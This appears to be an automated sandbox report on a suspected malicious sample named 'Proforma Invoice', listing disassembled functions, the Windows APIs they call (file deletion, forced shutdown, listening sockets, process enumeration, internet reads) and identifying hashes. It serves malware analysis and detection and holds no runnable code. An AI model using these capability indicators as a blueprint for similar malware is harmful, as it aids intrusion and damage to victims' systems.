Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3ck$_k
API String ID: 674341424-2131593748
Opcode ID: 389a20894cec3edb3685baffe532e570e75d5ea3259d1a2eb71c3544ff6cea4d
Instruction ID: 6e9a77ca101a32201e56ae62a47806844ea9668505afdf1bdc1c351d8281942d
Opcode Fuzzy Hash: 389a20894cec3edb3685baffe532e570e75d5ea3259d1a2eb71c3544ff6cea4d
Instruction Fuzzy Hash: 77229BB16083509FC764EF24C881BAAB7E6AF85300F10492CF48A97391DB31EE45CB96

Function 006B5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006B58A5
_memmove.LIBCMT ref: 006B58F5
_memmove.LIBCMT ref: 006B595B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d82d5c64e150bee6d50d963a314440776b74e0fb8db14689942eebe865c03ffc
Instruction ID: ab047827f845cf619823cacfeb98d9441f811fca34cbd1555d0eb14422b2765a
Opcode Fuzzy Hash: d82d5c64e150bee6d50d963a314440776b74e0fb8db14689942eebe865c03ffc
Instruction Fuzzy Hash: A01278B0A00609DFDF04EFA5D981AEEB7B6FF48300F104569E806E7251EB36AD55CB54

Function 00703B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006A4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006A4743,?,?,006A37AE,?), ref: 006A4770

Part of subcall function 00704A31: GetFileAttributesW.KERNEL32(?,0070370B), ref: 00704A32

FindFirstFileW.KERNEL32(?,?), ref: 00703B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00703BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00703BEA
FindClose.KERNEL32(00000000), ref: 00703C01
FindClose.KERNEL32(00000000), ref: 00703C0A

Strings

\*.*, xrefs: 00703B5B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 35425401396a585b5692ff2c990f3fc5ea27fb4c126472b1754e09f3b76cadb6
Instruction ID: b1689fef34c76f388db23e8a1187531a6441f24a58d2fb1ab86f5118789e3f43
Opcode Fuzzy Hash: 35425401396a585b5692ff2c990f3fc5ea27fb4c126472b1754e09f3b76cadb6
Instruction Fuzzy Hash: 57315C710083859BC245FB24C8919AFB7EDAE92314F404E2EF49596192EB259E09CB6B

Function 007051BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 006F87E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006F882B
Part of subcall function 006F87E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006F8858
Part of subcall function 006F87E1: GetLastError.KERNEL32 ref: 006F8865

ExitWindowsEx.USER32(?,00000000), ref: 007051F9

Strings

@, xrefs: 007051EC
SeShutdownPrivilege, xrefs: 007051C9
, xrefs: 007051E7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: ecbfe28208df72b8011256b5767ca6a6c1eae6a551ccd307cc76d7ed8a7b65d7
Instruction ID: def95d36eb0353d72da6fcac1a98a612ba48da19301a8d6956741d9573f47a0b
Opcode Fuzzy Hash: ecbfe28208df72b8011256b5767ca6a6c1eae6a551ccd307cc76d7ed8a7b65d7
Instruction Fuzzy Hash: 3B01F2B5691615EBE7386268AC8AFBB72E8FF05740F200734F913E20D2DA591C018A94

Function 006AFCE0 Relevance: 9.8, APIs: 3, Strings: 2, Instructions: 1040COMMON

Download Yara Rule

Strings

pbv, xrefs: 006E49B9
%s, xrefs: 006AFCF3

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: BuffCharUpper
String ID: pbv$%s
API String ID: 3964851224-2483896684
Opcode ID: 0c460ebfa182a6c32b9b828ab0ab17b54d9cd78ee7ab42b2cdf14a5a7e3bd770
Instruction ID: 1d77426dd574e6585df1185706291b9348f7de90b40b80b8ab203b078103b16d
Opcode Fuzzy Hash: 0c460ebfa182a6c32b9b828ab0ab17b54d9cd78ee7ab42b2cdf14a5a7e3bd770
Instruction Fuzzy Hash: A9925CB05083419FD720DF24C480BABBBE6BF85304F14896DE58A9B352DB75EC85CB96

Function 00716283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 007162DC
WSAGetLastError.WSOCK32(00000000), ref: 007162EB
bind.WSOCK32(00000000,?,00000010), ref: 00716307
listen.WSOCK32(00000000,00000005), ref: 00716316
WSAGetLastError.WSOCK32(00000000), ref: 00716330
closesocket.WSOCK32(00000000,00000000), ref: 00716344

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: d45ce1c1b1e390322bc999f146e7ffa388cbd7496e979cdedd165aeda4bcd92a
Instruction ID: 5db9570424f4b4561f15743f54df3994c7763eb97502f2eacc99f0a869e81d2a
Opcode Fuzzy Hash: d45ce1c1b1e390322bc999f146e7ffa388cbd7496e979cdedd165aeda4bcd92a
Instruction Fuzzy Hash: 7621C1306002049FCB10EF68C845A6EB7BAEF45720F24826CF926A73D1C778AC41CB65

Function 006B5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 006C0DB6: std::exception::exception.LIBCMT ref: 006C0DEC
Part of subcall function 006C0DB6: __CxxThrowException@8.LIBCMT ref: 006C0E01

_memmove.LIBCMT ref: 006F0258
_memmove.LIBCMT ref: 006F036D
_memmove.LIBCMT ref: 006F0414

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: e603b8e4fea86f2f0a6f764cde3078d2ee0500204fe0c69c72071c5ed53e1185
Instruction ID: 8834ac9b1037d0eb1c470d75aa7603bec6313a538a8c8343e12d8c49f4d697a0
Opcode Fuzzy Hash: e603b8e4fea86f2f0a6f764cde3078d2ee0500204fe0c69c72071c5ed53e1185
Instruction Fuzzy Hash: 6702AEB1A00209DBDF04DF64D981ABEBBB6EF44300F1480ADE90ADB255EB35ED51CB95

Function 006A1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

DefDlgProcW.USER32(?,?,?,?,?), ref: 006A19FA
GetSysColor.USER32(0000000F), ref: 006A1A4E
SetBkColor.GDI32(?,00000000), ref: 006A1A61

Part of subcall function 006A1290: DefDlgProcW.USER32(?,00000020,?), ref: 006A12D8

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 2b5c683970537eb82759c8ebef768dbf4c16d48969e5e6aa7b113d3b3f2ffe95
Instruction ID: 3b02548dcc6860b5bf7cf13cc08aafe22ba4c8c8e372603621ac5e0045d729d1
Opcode Fuzzy Hash: 2b5c683970537eb82759c8ebef768dbf4c16d48969e5e6aa7b113d3b3f2ffe95
Instruction Fuzzy Hash: 06A16770102594FAE628BB299C58EFF359FDF43341F15411AF602DE396CA289D02DEB9

Function 00716747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00717D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00717DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0071679E
WSAGetLastError.WSOCK32(00000000), ref: 007167C7
bind.WSOCK32(00000000,?,00000010), ref: 00716800
WSAGetLastError.WSOCK32(00000000), ref: 0071680D
closesocket.WSOCK32(00000000,00000000), ref: 00716821

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: d78325047159ced5da8cfe8906b36a08558d98cee7ad7d56e65b329520c56cc8
Instruction ID: 8e38db1d34bdfc118f07108131eec151240ca0268bcb4ff5ee841dc148649829
Opcode Fuzzy Hash: d78325047159ced5da8cfe8906b36a08558d98cee7ad7d56e65b329520c56cc8
Instruction Fuzzy Hash: 0941E775A002006FDB50BF248C86F7E77E9DF46714F04856CF915AB3C2CA789D018BA5

Function 00725376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 007253C5
IsWindowEnabled.USER32 ref: 007253D3
GetForegroundWindow.USER32(?,?,00000001), ref: 007253E0
IsIconic.USER32 ref: 007253EE
IsZoomed.USER32 ref: 007253FC

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: af8ebc0f46f8380228ef478b98d1c05efdbeccccfdef3434e2ed184e667d03d6
Instruction ID: 4f93521708dcab5e3f099fd66d9685b222cb78ff3a29033098cd1c88e7a805dd
Opcode Fuzzy Hash: af8ebc0f46f8380228ef478b98d1c05efdbeccccfdef3434e2ed184e667d03d6
Instruction Fuzzy Hash: 9E11C8313005215FDB21AF26EC44A6EBBA9FF457A5B50943DF845D3242CB7CDC028AA8

Function 006F80A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 006F80C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 006F80CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 006F80D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 006F80E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 006F80F6

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 2339cd246731f8996ba40ab0c3a202ef6f4cfbbb428f2a325b95c3d7aabbbc5e
Instruction ID: f95caefa7f16d91b49ebecf93cd1dd0979040a452d07842d6e588ca4185efc50
Opcode Fuzzy Hash: 2339cd246731f8996ba40ab0c3a202ef6f4cfbbb428f2a325b95c3d7aabbbc5e
Instruction Fuzzy Hash: 49F0C230200209AFEB204FA4EC8DEB73BBDEF49754B404139FA05C3250CB749C12DA60

Function 006A4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,006A4AD0), ref: 006A4B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 006A4B57

Strings

kernel32.dll, xrefs: 006A4B40
GetNativeSystemInfo, xrefs: 006A4B51

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 1a4214a4678879c0c7fd08d34e65a86ff6c35869cf629ec32ef1d45feb87e332
Instruction ID: 835b3d6f46a25168dc9b8700fc9f0bf1d86081478e63da27e4c60c8f5d631212
Opcode Fuzzy Hash: 1a4214a4678879c0c7fd08d34e65a86ff6c35869cf629ec32ef1d45feb87e332
Instruction Fuzzy Hash: 99D05BB4A10727CFD7309F31EC18B46B6F5AF45751B11C83DD485D6250DBB8D880CA68

Function 0071EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0071EE3D
Process32FirstW.KERNEL32(00000000,?), ref: 0071EE4B

Part of subcall function 006A7DE1: _memmove.LIBCMT ref: 006A7E22

Process32NextW.KERNEL32(00000000,?), ref: 0071EF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0071EF1A

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 80d2d33037f5b24ab3a9a2c8f1272c3a7c9ca7a6948c129bdbc08431d5a8275b
Instruction ID: c402a51aeb08b31ec1a1fca58b804fa9271bb787b614452dc0d119e9bae79f54
Opcode Fuzzy Hash: 80d2d33037f5b24ab3a9a2c8f1272c3a7c9ca7a6948c129bdbc08431d5a8275b
Instruction Fuzzy Hash: DF519B71504300AFD360EF24CC82EABB7E8EF85700F50482DF995972A1EB74AD08CB96

Function 006FE616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 006FE628

Strings

|, xrefs: 006FE658
(, xrefs: 006FE66E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 307880885cd1d30bc17d886e150af961905dff333de6e3d1a29290e5cece8e48
Instruction ID: 1c94ecd91a3aa9494d4d745ebd8738b447ee4f19c02aadfc50b51c5199048573
Opcode Fuzzy Hash: 307880885cd1d30bc17d886e150af961905dff333de6e3d1a29290e5cece8e48
Instruction Fuzzy Hash: AC324674A007099FD728DF19C4819AABBF2FF48310B15C46EE99ADB3A1E771E941CB44

Function 007122EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0071180A,00000000), ref: 007123E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00712418

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 562892508c3964ba2c5103a5bda80581884aefc20089e77bbcc52f56810c5601
Instruction ID: 86d1573e707717e887031bd40aa77329681cb07d15fa0e47079f6d21575e887a
Opcode Fuzzy Hash: 562892508c3964ba2c5103a5bda80581884aefc20089e77bbcc52f56810c5601
Instruction Fuzzy Hash: 2741F671504209FFEB20DF99DC85FFB77BDEB40314F10402EFA11A6182DA789E929654

Function 0070B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0070B343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0070B39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0070B3EA

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 868c0cde58cb9cdcc86d090cc1b2e39b81e4a19b2f6919901b484e43170b3c78
Instruction ID: b445821025dc9a556786829056e959266c7f91225f706d9debe44a4a197b5bcc
Opcode Fuzzy Hash: 868c0cde58cb9cdcc86d090cc1b2e39b81e4a19b2f6919901b484e43170b3c78
Instruction Fuzzy Hash: F5215E35A00108EFCB00EFA5D885AEEFBB9FF49314F1481A9E905AB351CB35A916CF54

Function 006F87E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 006C0DB6: std::exception::exception.LIBCMT ref: 006C0DEC
Part of subcall function 006C0DB6: __CxxThrowException@8.LIBCMT ref: 006C0E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 006F882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 006F8858
GetLastError.KERNEL32 ref: 006F8865

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 4631485ebcde3fb3373ff1da0a8cd2f7b31b961713b622c3e424a2a756a44fbf
Instruction ID: e9e4d103cdefe45f15b6261c473cf77b2ad3702ff5de394520fefa9e44a40d2e
Opcode Fuzzy Hash: 4631485ebcde3fb3373ff1da0a8cd2f7b31b961713b622c3e424a2a756a44fbf
Instruction Fuzzy Hash: 7C116DB2814209AFE728DFA4DC85D7BB7BDFB44750B20856EF46697241EA30BC418B64

Function 006F874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 006F8774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 006F878B
FreeSid.ADVAPI32(?), ref: 006F879B

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 24486786ea397d5683d41de759da95b7c5c8f9017366636f95db7bdf444da94f
Instruction ID: 4f0ab033d4ecfc4b06ce2bb927b48725b989a48e99f86f33e4c8b02513509cff
